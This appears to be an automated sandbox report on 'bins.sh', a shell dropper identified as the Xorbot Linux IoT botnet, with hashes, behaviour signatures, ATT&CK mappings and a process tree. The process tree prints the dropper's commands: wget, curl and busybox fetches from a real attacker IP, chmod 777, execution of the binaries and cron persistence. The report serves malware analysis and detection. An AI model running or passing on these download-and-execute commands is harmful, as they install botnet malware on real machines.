xorbot | 65504742239889b8bc2955de8e775278370a6b357d9cde732b795761a1b80eb8

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11/12/2024, 19:31

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General

Target

bins.sh
Size

10KB
MD5

8c689ff7fc20ca3b310ce0077e8f1812
SHA1

8884c1c04d514d14a0ea38c7388594ef699d504d
SHA256

65504742239889b8bc2955de8e775278370a6b357d9cde732b795761a1b80eb8
SHA512

aa45a2b371176bdb114c4c640507c8a43140b835a04175261c44ac8d8fec28f13e729308c26b55ae45dad94335cb51670d34899a571c04f4bf8223772e246767
SSDEEP

192:h3H23fjFxXvHeHzP6nBXPuPrMaDuUxUhUCUfBUtU+RvHeHzJXPuPrR0RUxUhUCUi:h3H23fjFSUBXPuPrMaDuUxUhUCUfBUt0

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2200) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1482	chmod
1489	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD	1483	GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
/tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV	1490	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV

Renames itself 1 IoCs

pid	Process
1491	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.aQKOoP	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1694/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/79/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1028/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1336/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1511/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1589/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1647/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1623/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1661/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1676/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1545/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1633/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1649/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/130/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/266/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/328/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1561/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1662/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1703/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/157/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1554/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1556/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1644/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1579/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1614/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/24/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/25/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/85/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1108/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1136/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1512/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1659/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1697/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1173/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1600/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/14/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/15/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/156/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/442/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/458/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1066/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1611/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1654/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1657/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/30/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/80/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/196/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1276/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1669/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/162/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/169/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1523/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1615/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1630/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/152/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1156/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1514/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1555/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1568/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1627/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1658/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/154/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1519/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
File opened for reading	/proc/1594/cmdline	Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD	curl
File opened for modification	/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD	busybox
File opened for modification	/tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV	wget
File opened for modification	/tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV	curl
File opened for modification	/tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV	busybox
File opened for modification	/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1465
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1466
- /usr/bin/wget
  wget http://37.44.238.68/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - Writes file to tmp directory
  PID:1467
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - Writes file to tmp directory
  PID:1480
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - Writes file to tmp directory
  PID:1481
- /bin/chmod
  chmod 777 GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - File and Directory Permissions Modification
  PID:1482
- /tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  ./GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  - Executes dropped EXE
  PID:1483
- /bin/rm
  rm GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD
  2⤵
  PID:1485
- /usr/bin/wget
  wget http://37.44.238.68/bins/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  2⤵
  - Writes file to tmp directory
  PID:1486
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  2⤵
  - Writes file to tmp directory
  PID:1487
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  2⤵
  - Writes file to tmp directory
  PID:1488
- /bin/chmod
  chmod 777 Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  2⤵
  - File and Directory Permissions Modification
  PID:1489
- /tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  ./Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1490
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1492
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1493
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1494
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1495
- /bin/rm
  rm Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV
  2⤵
  PID:1505
- /usr/bin/wget
  wget http://37.44.238.68/bins/dUTpj5tTxBhpceUDhQ8E9esETr7MtQdLlb
  2⤵
  PID:1508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/GeO4W6JuphhBMfCgW9Lol5CsAiYioUBzTD

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/Q35Esy6cEEsSgdQnvuctrU3mxBWjUnQPlV

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.aQKOoP

Filesize
210B

MD5
932edb7b8582affbf1145679d2362a48

SHA1
e78b0045d1e06ffe6d5a0205ce32a26625b6ec62

SHA256
af0ff5deea2a8fcc1002b1bafc3ce947c22067d6ae753f798cfddc13349c6c9a

SHA512
7ec48a084b35fabffe2b8164b575e5e64a69c27607d0066c7cfb9ddb807e945d966c07c2cfd7da5701a1d5284c692aba1bd64e3fd25961e81a2241c0e6b92aab

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads